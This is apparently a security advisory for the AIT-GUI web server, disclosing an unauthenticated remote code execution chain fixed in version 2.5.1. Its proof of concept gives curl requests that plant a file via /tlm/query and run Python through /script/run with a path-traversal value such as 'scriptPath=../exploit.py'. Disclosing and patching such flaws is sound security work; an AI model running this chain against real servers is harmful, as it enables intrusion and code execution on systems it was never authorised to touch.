Vulnerability GHSA-jrjx-9jjw-747m
Summary
AIT-GUI route chain allows unauthenticated Python execution in server process
Details
Summary
A security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions.
Patches
- 2.5.1
Impact
This vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges.
Details
Chain:
POST /tlm/querywrites the user-controlledfieldsvalue intofields_in.txtunder the AIT-GUI static directory.- If the supplied
dataDirhas no.pcapfiles, the route returns the expected400 Bad Requestbefore deleting that file.
- If the supplied
POST /script/runacceptsscriptPath=../static/fields_in.txt.- AIT-GUI reads that file and runs it as Python.
Relevant code:
ait/gui/__init__.py:930,935,942-944:/tlm/querywritesfieldstofields_in.txt.ait/gui/__init__.py:952-958,978: the no-PCAP error path aborts before cleanup.ait/gui/__init__.py:1130-1136:/script/runjoinsscriptPathwithScriptRootand only checks that the path exists.ait/gui/__init__.py:1186-1191: the selected file is read and executed as Python.ait/gui/__init__.py:1105-1108: nearby/scripts/load/<name>has a path containment check, but/script/rundoes not.
Fix Information
Restricted script execution paths and avoided using static temp files.
PoC
POST /tlm/querywrites the user-controlledfieldsvalue intofields_in.txtunder the AIT-GUI static directory.- If the supplied
dataDirhas no.pcapfiles, the route returns the expected400 Bad Requestbefore deleting that file.
- If the supplied
# Remove file to ensure nothing exists
AIT-GUI % rm <path>/fields_in.txt
# With server started, send POST request to /tlm/query endpoint
AIT-GUI % curl -X POST http://localhost:8080/tlm/query \ -d "dataDir=<path>" \
-d "timeField=time" \
-d "packet=CCSDS_HEADER" \
-d "fields=field1,field2,field3" \
-d "startTime=2026-07-01T00:00:00" \
-d "endTime=2026-07-10T00:00:00" \
-o query_out.csv
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 925 100 782 100 143 34798 6363 --:--:-- --:--:-- --:--:-- 42045
# AIT-server log verify that PCAP file cannot be found:
2026-07-10T11:46:37.873 | ERROR | Unable to locate PCAP files for query given data directory <path>
# Verify file is created and not cleaned up
AIT-GUI % cat <path>/fields_in.txt
field1
field2
field3
POST /script/runacceptsscriptPath=../static/fields_in.txt.- AIT-GUI reads that file and runs it as Python.
# Generate session cookie
curl -c cookies.txt -v http://localhost:8080/ -o /dev/null
# Execute example script which currently exists in configured scripts.directory in config.yaml
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script
script:
directory: ./scripts
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts
example_script.py
# Create exploit script "exploit.py" outside of configured location
(venv) scripts % ls ../exploit.py
../exploit.py
# Perform request to example_script.py. This script prints 'correct'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=example_script.py" -b cookies.txt
# Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt
# Verify in server logs that correct and exploit print
2026-07-10T13:46:41.441 | INFO | Starting broker...
correct
...
exploited
Additional Notes
- Python code execution in the AIT-GUI server process.
- The demo is localhost only (
127.0.0.1) and proves the issue against AIT-GUI2.5.0. - The tested AIT-GUI source binds the web server to
0.0.0.0, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position. - No login credentials or privileged account were required in the tested flow. The PoC only used the normal
sidcookie created byGET /. In my local demo, the payload ran as my normal user (uid=1000), not root. - ait_gui_tlm_query_script_run_rce_live_server.py
- ait-gui-tlm-query-script-run-rce.patch
- https://github.com/user-attachments/assets/a188aaa3-783a-4bb0-ab9a-6541f939a26a